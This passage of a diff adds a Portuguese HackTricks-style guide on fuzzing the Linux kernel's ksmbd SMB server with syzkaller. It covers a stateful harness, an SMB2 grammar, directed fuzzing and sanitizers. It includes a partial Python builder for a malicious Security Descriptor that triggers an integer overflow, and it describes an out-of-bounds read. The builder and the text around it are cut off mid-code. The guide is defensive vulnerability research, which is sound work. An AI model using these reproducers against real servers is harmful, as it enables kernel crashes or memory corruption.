SMB2_SESS_SETUP: +// first session setup response carries session_id +if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) +session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); +break; +case SMB2_CREATE: +if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { +persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); +volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); +} +break; +default: +break; +} +} +``` +Dicas +- Mantenha um processo fuzzer único compartilhando autenticação/estado: melhor estabilidade e cobertura com ksmbd’s global/session tables. O syzkaller ainda injeta concorrência marcando ops async, rerun internamente. +- Syzkaller’s experimental reset_acc_state pode resetar o estado global, mas pode introduzir uma lentidão significativa. Prefira estabilidade e foque no fuzzing. + +--- + +## Geração SMB2 guiada por gramática (PDUs válidos) +Traduza as estruturas SMB2 do Microsoft Open Specifications para uma fuzzer grammar para que o seu gerador produza PDUs estruturalmente válidos, que alcancem sistematicamente os dispatchers e os IOCTL handlers. + +Exemplo (SMB2 IOCTL request): +``` +smb2_ioctl_req { +Header_Prefix SMB2Header_Prefix +Command const[0xb, int16] +Header_Suffix SMB2Header_Suffix +StructureSize const[57, int16] +Reserved const[0, int16] +CtlCode union_control_codes +PersistentFileId const[0x4, int64] +VolatileFileId const[0x0, int64] +InputOffset offsetof[Input, int32] +InputCount bytesize[Input, int32] +MaxInputResponse const[65536, int32] +OutputOffset offsetof[Output, int32] +OutputCount len[Output, int32] +MaxOutputResponse const[65536, int32] +Flags int32[0:1] +Reserved2 const[0, int32] +Input array[int8] +Output array[int8] +} [packed] +``` +Este estilo força tamanhos/deslocamentos corretos das estruturas e melhora dramaticamente a cobertura em comparação com mutações cegas. + +--- + +## Directed Fuzzing With focus_areas +Use o experimental focus_areas do syzkaller para dar mais peso a funções/arquivos específicos que atualmente têm cobertura fraca. Exemplo JSON: +```json +{ +"focus_areas": [ +{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, +{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, +{"weight": 1.0} +] +} +``` +Isso ajuda a construir ACLs válidas que atingem caminhos aritméticos/overflow em smbacl.c. Por exemplo, um Security Descriptor malicioso com um dacloffset sobredimensionado reproduz um integer-overflow. + +Construtor do reproducer (Python mínimo): +```python +def build_sd(): +import struct +sd = bytearray(0x14) +sd[0x00] = 0x00; sd[0x01] = 0x00 +struct.pack_into(' packets.json +``` + +```python +import json, os +os.makedirs("corpus", exist_ok=True) + +with open("packets.json") as f: +data = json.load(f) +# adjust indexing to your tshark JSON structure +packets = [e["_source"]["layers"]["tcp.payload"] for e in data] + +for i, pkt in enumerate(packets): +pdu = pkt[0] +pdu_size = len(pdu) // 2 # hex string length → bytes +with open(f"corpus/packet_{i:03d}.txt", "w") as f: +f.write( +f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" +) +``` +Isto acelera a exploração e pode imediatamente disparar UAFs (por exemplo, em ksmbd_sessions_deregister) enquanto aumenta a cobertura alguns por cento. + +--- + +## Sanitizadores: Além do KASAN +- KASAN continua sendo o detector principal para bugs de heap (UAF/OOB). +- KCSAN frequentemente gera falsos positivos ou data races de baixa gravidade neste alvo. +- UBSAN/KUBSAN podem detectar erros de limites declarados que o KASAN perde devido à semântica de índices de array. Exemplo: +```c +id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); +struct smb_sid { +__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; +__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ +} __attribute__((packed)); +``` +Definir num_subauth = 0 dispara uma leitura OOB dentro da struct de sub_auth[-1], detectada pelas verificações de declared-bounds do UBSAN. + +--- + +## Notas sobre throughput e paralelismo +- Um único processo fuzzer (auth/state compartilhados) tende a ser significativamente mais estável para ksmbd e ainda expõe races/UAFs graças ao executor assíncrono interno do syzkaller. +- Com múltiplas VMs, ainda é possível atingir centenas de comandos SMB/segundo no total. Cobertura ao nível de função em torno de ~60% de fs/smb/server e ~70% de smb2pdu.c é alcançável, embora a cobertura de transições de estado seja sub-representada por tais métricas. + +--- + +## Checklist Prático +- Ative durable handles, leases, multi-channel, oplocks e VFS objects no ksmbd. +- Permita guest e map-to-guest; aceite NTLMv2. Faça patch para remover credit limits e aumente max connections para estabilidade do fuzzer. +- Construa um harness stateful que faça cache de SessionId/TreeID/FileIDs e encadeie create → ioctl → close. +- Use uma gramática para SMB2 PDUs para manter a validade estrutural. +- Use focus_areas para dar mais peso a funções com baixa cobertura (p.ex., caminhos em smbacl.c como smb_check_perm_dacl). +- Semeie com ANYBLOB a partir de pcaps reais para quebrar platôs; empacote seeds com syz-db para reutilização. +- Execute com KASAN + UBSAN; trate com cuidado os relatórios UBSAN declared-bounds. + +--- + +## Referências +- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html +- syzkaller: https://github.com/google/syzkaller +- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 +- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db +- KASAN: https://docs.kernel.org/dev-tools/kasan.html +- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html +- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html +- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ +- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures +- Leitura adicional: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes + +{{#include ../../banners/hacktricks-training.md}}